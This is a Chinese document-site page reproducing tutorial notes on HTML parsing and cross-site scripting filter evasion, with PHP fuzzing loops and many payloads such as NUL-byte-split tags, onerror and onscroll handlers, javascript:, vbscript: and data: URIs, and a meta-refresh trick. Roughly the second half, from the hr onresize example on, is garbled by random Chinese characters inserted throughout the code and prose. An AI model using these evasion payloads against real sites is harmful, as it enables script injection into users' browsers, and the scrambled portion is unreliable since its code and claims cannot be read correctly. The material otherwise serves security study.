版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
BrowserSecurity-超文本标记语言(HTML)
重要的4个规则:
1&符号不应该出现在HTML的大部分节点中。2尖括号<>是不应该出现在标签内的,除非为引号引用。3在text节点里面,<左尖括号有很大的危害。4引号在标签内可能有危害,具体危害取决于存在的位置,但是在text节点是没有危害的。文件解析模式
在任何HTML文档中,最开始的<!DOCTYPE>用来指示浏览器需要解析的方式,同样也可使用Content-Type头来告诉浏览器。一般情况下,浏览器中的解析器会尝试恢复大多数类型的语法错误,包括开始和结束标记。在XML中,是非常严格的,所有标签必须有对应的开始关闭,也可以有自动关闭如<img/>也是允许的。了解HTML解析
在IE浏览器中允许在1中插入NUL字符(0x00),可以绕过非常多的xss过滤器。如下php代码可把NUL字符插入标签内做测试:2和4中的空格也可以由tab(0x0B)与换页键(0x0C),2处也可以用/来代替。5中的"在IE中也可替换成`。IE当中还有一个特性是当遇到=后面紧跟一个引号的时候会有奇怪的解析。<imgsrc=test.jpg?value=">Yes,wearestillinsideatag!"><comment><imgsrc="<comment><imgsrc=xonerror=alert(1)//">Entity编码
HTML解析器在建立文档树的时候会针对节点内的Entity编码解码后传输。以下两个表示相同:<imgsrc="http://www."><imgsrc="http://www.">下面两个例子代码不会执行,因为,编码的是标签本身的结构而非节点内的内容:<imgsrc=""><imgsrc="http://www.">Fuzzing
对一个普通的HTML进行Fuzzing测试:<ahref=“/”>Clickme</a>看一下可以Fuzzing的位置可以使用php代码进行快速测试,例如我们对第一个位置(<的右边)进行Fuzzing:<?phpfor($i=0;$i<=255;$i++){$character=chr($i);#<右边进行测试echo'<div><'.$character.'ahref="/">'.$i.'</a></div>';}?>上面的代码只测试了256个字符,如果想要测试Unicode的所有字符,则需要创建65536个链接。php默认字符是ISO-8859-1作为默认的字符编码,而这种编码只有256个字符,所以单纯的循环65536遍是没用的。所以采用Entity编码方式循环,解码后输出:<?phpfor($i=0;$i<=65535;$i++){$character=html_entity_decode(''.$i.';',ENT_QUOTES,'UTF-8')#<右边进行测试echo'<div><'.$character.'ahref="/">'.$i.'</a></div>';}?>有一个有趣的现象是几乎所有浏览器对$#33;即!,浏览器会<!当成注释的开始,然后自动补齐剩下的代码,浏览器解析后的代码:<div><!--ahref="/"-->33</div>针对标签名的Fuzzing
<L?onclick=alert(1)>clickme</L?>上面的代码,在Chrom、Firefox和Safari中点击,可以顺利弹出1。讨论一下空字符的问题,IE浏览器会自动忽略空字符,并解析剩下的代码,这样会绕过很多采用正则匹配黑名单字符串的过滤器。并且,很多函数和库并没有意识到这个问题:<?phpecho'<im'.chr(0).'gsr'.chr(0).'c=xonerror=ale'.chr(0).'rt(1)>';?>用IE8打开上述代码的网页,查看源代码只能看到"<im"后面的字符都隐藏了。还有两种方式可以对标签名Fuzzing,第一种是涉及字符集的问题,第二种是针对php中在过滤之前使用了utf8_decode()函数。<?phpheader('Content-Type:text/html;charset=Shift_JIS');for($i=1;$i<=255;$i++){$character=html_entity_decode(''.$i.';',ENT_QUOTES,'UTF-8');$character=utf8_decode($character);echo$character.'123456'.$i."<br>\r\n";}?>代码很简单,设置返回响应字符集为Shift_JIS,然后把utf-8转换为Shift_JIS字符集。可以看到在IE中129-159和224-252中,123456中的1消失了,与前面的字符合并成一个字符了。标签后面也可加入/符号做间隔:<img/src=xonerror=alert(1)>尝试在标签与/之间再插入其他字符来测试,由于空字符无法直观显示,所以用\0来表示null,同样主流浏览器都可以执行:<img\0/src=xonerror=alert(1)>再尝试ASCII码之外的字符,这种字符在正则表达式中\w是无法匹配到的,主流浏览器都可以执行:<img/\/\μsrc=xonerror=alert(1)//>测试发现,标签名与属性名直接只要是以/开头以/或"结尾,中间几乎可以插入任意字符。在Fuzzing属性方面,考虑两方面,一个是可以使用什么分隔符,一个是属性值可以采用什么编码。分隔符有很多种,单引号,双引号,无任何引号,反撇号(IE中)。<?phpfor($i=1;$i<=255;$i++){$character=chr($i);echo'<div><fontsize='.$character.'20'.$character.'>'.$i.'</font></div>';}?>上面代码可以直观的看出当前浏览器支持的分隔符有哪些字符。上面代码size属性如果输入的是字符的话,会顺利执行,所以当$character中循环到数字的时候也会顺利解析,但这并非是把数字当成了分割符:<?phpfor($i=20;$i<=255;$i++){$character=html_entity_decode(''.$i.';',ENT_QUOTES,'UTF-8');echo'<div><imgtitle="'.$i.'"src='.$character.'/intl/en_ALL/images/logo.gif'.$character.'></div>';}?>以上代码可以看出,属性为字符串的时候,可以作为分隔符的字符。为了表示那些不可打印的字符,就用\x十六进制来表示:<imgsrc=\x17\x17onerror=alert(1)//>以上代码\x17即表示不可打印字符chr(23),浏览器提交的时候可以输入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。在src中可以正常工作的分隔字符,在处理事件的属性里不一定会工作,例如onerror。但是仍然有一些字符可以达到我们的目的,ASCII表中的133和160已经IE中的空字符,甚至是分号。<img/\%20src=%17y%17onerror=%C2%A0alert(1)//>以上代码urldecode之后在chrome中可以顺利执行。下面讨论多个标签的问题,比如用户可控的数据插入到了<input>标签中,同时过滤了<>只能插入标签内数据:<inputvalue=“”type=imagesrc=1onerror=alert(1)//“type=”hidden“name=”foo“/>在IE中还有一个lowsrc的属性,跟src类似,原本是为了方便调用一个缩略图的,但是在IE6和IE7中,同时也支持伪协议javascript:,还有一个dynsrc属性也类似:<imglowsrc=1onerror=alert(1)>//所有IE都支持<imglowsrc=javascript:alert(2)>//IE6和IE7支持<imgsrc="http://www.google.de/intl/de_de/images/logo.gif"dynsrc="javascript:alert(3)"/>//只有IE6支持sytle属性中还可以定义非常多的参数:<spanstyle="color:red"style="color:green;background:yellow">foobar</span>上面代码可以看到,浏览器显示的字体为红色,背景为黄色,除了定义颜色之外也可以用expression()执行js,后面会讨论。还有一个属性是专门用来在一个标签中插入多个的:xmlns,XML的命名空间属性,这个后面会在XML中讨论。还有一处可Fuzzing的点即为标签的关闭,一个有趣的现象是浏览器把<br/>与</br>,<p/>与</p>成完全一样。<b>foobar</bstyle="x:expression(alert(1))">//不会执行alert<b>foo</b>bar</bstyle="x:expression(alert(2))">//IE执行了alert<scriptsrc="http://0x.lv"></b>//不会执行可以执行的代码为没有开始标签的一个闭合标签,IE8中,sytle属性可以插在一个闭合标签内,并顺利执行。可混淆的另一个方法是:可替换为=,下面例子在IE8中可执行:<//style=x:expression(if(!window.x){window.x=1;alert(1);})><//style='x=expr\65ssion(if(!window.x){window.x=1;alert(1);})'></a/style='x=\aexpr\65ss/*\*/ion(if(!window.x){window.x=1;alert(1);})'>HTML代码中执行js的各种方式,用以下方式定义的时候,VBscript和JavaScript都可以执行。<scriptlanguage=vbs>alert+1'VBScriptalert(2)//JavaScript</script>也有利用标签中的属性来执行js,例如:onclick,onload,onerror等等。在iframe标签中,不需要src属性就可以顺利执行onload属性,而img标签不可以。这是因为在iframe中没有src属性的时候,浏览器会自动加载about:blank页面,即空白页。附件tag.php可以方便的看到当前浏览器针对各标签在不需要用户交互的情况下,可以自动执行的所有属性。
在Chrome中,html标签也可以执行非常多的属性,,同源frameset标签也接受focus和blur事件。一个很有趣的例子是,让scroll事件可以无交互触发,我们可以引入一个锚点,例如:<aname="bottom">或者通过id属性<divid="bottom">那我们可以访问/test.html#bottom来访问,浏览器自动滚到该锚点,触发scroll属性。<bodyonscroll="alert(1)"><divstyle="height:10000px">sometext</div><aname="bottom"></a></body>IE中hr标签袭中的on要re棋si诉ze属性临,在梁当前干窗口识大小腰变化洲时,吊会触露发re弊si臂ze事件剖,执突行al袭er僻t(抓1)。<h弯ron竞re映si渠ze=a姜le蒸rt脉(1婶)>还有蝴非常俩多的迷组合氧可以播在IE中使随用,杨很难姑全部季列出谋来,速只列天举出东几个层很少寸见的损例子眼:<bg塌so咏un嚼don称pr烛op棉er侧ty斩ch芝an死ge=a嚼le府rt焰(1城)>标<防bo零dyon假pr车op做er双ty伯ch辨an赛ge=a苹le壮rt蚁(2挑)>鞠<疑bo性dyon捐mo要ve=a肉le夫rt肾(3钓)>处<框bo模dyon苦fo郑cu宜si烈n=a蚕le他rt突(4指)>齿<皇bo两dyon拍be协fo午re磁ac康ti始va务te=a井le视rt董(5貌)>捐<醒bo逢dyon销ac卫ti岗va蹲te=a参le上rt凑(6惜)>室<她em砌be撑don熄mo己ve=a吼le就rt门(7狱)>吗<握ob素je胃cton混er同ro钻r=a冻le炒rt种(8耗)>愤<数st议yl扁eon孙re享ad剑ys捷ta泄te共ch涨an棵ge=a坝le乓rt忍(9屿)离>木<x估mlon茶re婚ad涌ys露ta层te给ch按an怪ge=a育le浑rt既(1头0)烂>邻<贺xm感lon招pr沙op挠er左ty伟ch虚an冲ge=a愈le说rt症(1伞1)妇>汁<汤ta钉bl敢e>孟<t叮d讽ba趣ck捏gr怎ou龙nd吼=j永av切as凭cr蚕ip舍t:搭al差er丈t(功12纪)晒>除了哥以上on的各末种属泄性之幼外,sr渡c和hr明ef属性寇由于烈支持ja这va弹sc鸦ri硬pt和vb绩sc矩ri备pt(只轿支持IE)伪危协议垫,所烂以也请是可虎以执钻行ja盆va追sc拍ri奶pt代码唯:<ahr州ef="芝ja员va稿sc秘ri肝pt恢:a寺le计rt余(1悦)"岗>c处li丢ck派m鼻e<归/a晴>谜<ahr下ef="秀vb扮sc灯ri指pt喷:a奸le希rt秧(2炭)"副>c盐li意ck阁m厉e<遇/a象>代码软执行杠时必章须使湾用(),不扶可以净使用vb再sc贡ri每pt中的al股er厅t+束2,当孔点击萍之后之,会陈弹出凡一个豪写在糠当前细页面DO盖M中的屯数字2的警悔告框就。ja无va须sc坦ri逮pt:和vb妨sc少ri既pt:协议芽执行棉后的胀结果循将会参映射盛在DO尽M后面准。<ahr阅ef="璃ja桃va攀sc姨ri宝pt霜:'垄\x伤3c朵im杂g著sr汗c\型x3舱dxon患er后ro寺r=al姨er拢t(途do袜cu窄me搏nt榜.d游om令ai怨n)>于'"毁>c泻li赴ck固m吸e<碌/a参>以上喇代码将在IE和Fi李re岁fo屿x中点奥击cl反ic靠k炸me之后傻可执旋行,签并且辛可以涂看到赠弹出泪的do疮ma树in为a标签饺中所更在的do妙ma蚊in。以上删代码春需要吃用户概交互港,下笨面看忠个不挥需要款用户再交互塞的例诉子,洲使用ob苹je铺ct标签钳和da汉ta贺:标签森:<o羞bj葱ec柔t它da杰ta雾="榨ja口va闪sc绸ri痒pt犯:a萝le毙rt隆(1虾)"揉>把<o菠bj酸ec舞t文da蜓ta铁="da浮ta耗:t烈ex磨t/h茧tm米l,载<s帮cr虽ip镇t>垫al内er始t(火2)责</符sc绒ri杠pt联>杠"撤>玻<o挂bj切ec量t翼da谱ta驼="态da欠ta陵:t晨ex糟t/债ht回ml风;b姻as拌e6忘4,忌PH单Nj悄cm物lw子dD屠5h交bG芬Vy狡dC疗gz位KT狐wv嘉c2灵Ny项aX稳B0没Pg吼">以上锈三个懒在Fi殃re讨fo游x中可到执行腔,第贞二个懒可在Op亚er财a中执素行,说把各蹲标签拖中各渡属性注支持ja脖va惧sc娃ri古pt的总卸结了逝一些属:<if粮ra胃mesr执c="毛ja失va款sc换ri悟pt鲜:a窜le请rt炊(1适)"坊>腾//火狐思,Ch患ro明me姑,评IE招8肥<e拖mb旧edsr离c="址ja减va顷sc烦ri而pt作:a忌le汽rt林(2洲)"款>迁//火狐<im敞gsr拉c="驼ja血va泳sc嗽ri村pt壶:a珍le厦rt隔(4男)"昼>陵//颂I素E6僚<肠im哥ag批esr轨c="底ja已va垮sc偷ri赚pt壁:a贼le肤rt材(5饶)"差>牢//蜜I蒸E6招<瞎bo角dy软b僻ac茫kg翼ro答un职d=笛"j记av贪as停cr箭ip巨t:爹al候er达t(项5)芒">刘/按/荣IE利6状<s欲cr赶ip讲tsr虑c="滑ja亩va色sc墨ri墨pt共:a誉le馒rt绒(6卫)"摇>予//合I笼E6粉<野ta贤bl现e市ba臣ck秒gr朋ou及nd羽="眉ja面va远sc生ri婚pt煮:a侧le构rt搅(7题)"膝>涨//挤I泥E6杰<is顷in享de从xty盲pe泻="公im健ag遮e"sr华c="捷ja腔va饲sc监ri傲pt强:a萝le求rt紧(8雁)"漏>列//胀I香E6花-7以及ap担pl叠et标签对中co胳de和ar斑ch下iv亚e属性虽可以狐用来打调用ja原r文件垃,执挂行ja上va代码孟。<a泽pp英le猫t子co愧de膜="穿XS钞S"庙a举rc稍hi庭ve像="适ht赛tp巴:/改/so负me舰se拒rv炒er驶.c积om订/x简ss房诚.j规ar">会</执ap睛pl伯et薯>Ja辟va至sc宴ri吸pt可以辣通过DO牲M直接惑获取孝当前柄页面符中对芽应的id和na蚕me属性臭的对竿象:<h飞tm惜l>豆<说bo箩dy慰>欣<d数iv杠i胸d=饰"t吨es驾t"畜><悔/d擦iv肃>刷<s份cr嘴ip答t>al吴er习t(勾te懂st)<好/s蹈cr跌ip笛t>仇<质/b炎od尸y>翅<窗/h白tm示l>上面饿代码兼可以画看出Ja纺va袋sc酒ri冰pt中并词没定映义te盲st变量判,但亦是获炮取到遥了页尘面中id为te于st的对北象。反过谁来,染我们板可以肤在外斗部直激接控恨制Ja充va抄sc暗ri亏pt变量跳,并筝且在嚷一些遵浏览谅器中笔可以恼重写Ja衡va狱sc称ri巡寿pt中已候有的疯变量脸。<h年tm豆l>嗓<世bo醉dy彻>庄<f虫or身m造id驰="春lo粘ca兰ti波on梁"hr粗ef="纯ba躬r"畏>孟<s怕cr更ip难t>al弱er疲t(抱lo仆ca坦ti盖on度.h气re贿f)<剑/s俩cr君ip羽t>吉<阔/b言od蝇y>蜘<肃/h随tm辈l>以上唐代码忘在IE中可欣以看吹到弹廊出的ba模r,而暂不是衫当前灶页面迈的ur着l,成咱功覆四盖了验原本斜的变型量。还有辅一种名利用me谎ta标签睁来执旋行Ja君va争sc怀ri详pt:<m局et仔a沿ht湿tp皮-e晕qu浓iv虑="档re幕fr萍es是h"京c柴on丑te萄nt滩="挤0;ur柏l=ja弟va彻sc蛮ri雷pt安:a摆le岩rt瓣(d锹oc选um饮en舟t.芬do心ma俯in)"胖>上面夫代码膛可以画在Ch蝇ro穴me,Op啊er舞a,IE迷6中可庭执行ja狼va丑sc陷ri伪pt代码狮,并伞且弹储出的舱时me欠ta标签烤所在棒的域跪。如果软禁止岔了ja凑va环sc徒ri壮pt:协议齿,也菌可使星用da铅ta裳:协议她,不街过能洒够顺君利执勺行ja蜻va荡sc怒ri恰pt并且给继承me烂ta标签描域的埋测试壮到的剪只有Op峰er暴a。<m孝et拖a钱ht境tp良-e嘴qu旅iv恨="侄re使fr拣es裤h"阴c趁on勺te润nt馒="都0;ur拦l=da丸ta央:t涉ex码t/h臭tm幸l,自<s版cr绑ip盯t>al邀er师t(更do便cu坛me厦nt樱.d补om即ai淋n)<己/s宁cr览ip朵t>削">缘瑞IE中为伶了兼贷容各脉个版唐本,痰所以杆有一殿个条米件注教释的疏语法娱,这医个语画法其既他浏利览器脾并不罩支持尽,会掀自动咬当成ht何ml注释肆。<!采--夕[i阵f信IE洽8命]>酬<蝇p>辟We龙lc毯om酸e成to仅I傻nt滴er邀ne院t半Ex哨pl粉or遍er倘8途.<山/p编>庸<!棵[en电di票f]-助->如上妻文字节只有怎在IE役8中才犬会显搞示,催条件悼注释傍对于种开发运是一辅件很突好的更事情顶,可听以方榜便的鞠判断初浏览递器版层本获么取兼远容代收码展钩现给阳用户篮。<!普--嗓[i中fgt负eIE技7役]>繁<p酿>Y丽ou主a任re称u劈燕si缴ng呼I探E吨7渗or巴g六re彩at研er辽.<候/p彩><倒![en属di虚f]-搂->馆<燥!-第-[善if私(摩IE过5袍)]每><切p>努Yo平u筒ar傅e亦us赔in傲g坏IE沾5烤(虚an狡y抄ve抬rs熔io亡n)叛.<渡/p熄><飘![en讲di绣f]-赚->握<些!-疫-[全if芒(gt宇eIE课5框.5运)&提(l壁t埋IE咱7抵)]叶><蔑p>吃Yo按u降ar零e鸽us丝式in夏g弱IE术5振.5仰o伍r寇IE秩6贡.<扔/p躁><既![en馒di旬f]-妈->狭<牛!-懒-[抹ifltIE谋5
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 网络安全技术发起人协议书
- 矿山开采土方施工协议
- 武汉市飞机租赁合同范本
- 康复设备租赁合同小区康复规定
- 国际度假村建设合同范本
- 商品房限价销售管理规定
- 供应链优化条例
- 珠宝首饰合同签订及执行管理办法
- 污水处理项目评审案例
- 古城墙遗址翻新改造合同
- 2024年新人教版七年级上册数学教学课件 4.2 整式的加法与减法 第2课时 去括号
- 高校实验室安全通识课学习通超星期末考试答案章节答案2024年
- 2024年秋季新人教版七年级上册生物全册教案设计
- 第15课 两次鸦片战争 教学设计 高中历史统编版(2019)必修中外历史纲要上册+
- 期末知识点复习 2024-2025学年统编版语文九年级上册
- 《江苏省一年级上学期数学第二单元试卷》
- 2024-2025学年度第一学期七年级语文课内阅读练习含答案
- 幼儿园三年发展规划(2024年-2026年)
- 上海市普通高中学业水平合格性考试地理基础知识点复习提纲
- 2024年艾滋病知识题库
- 废旧风机叶片循环利用项目可行性研究报告-积极稳妥推进碳达峰碳中和
评论
0/150
提交评论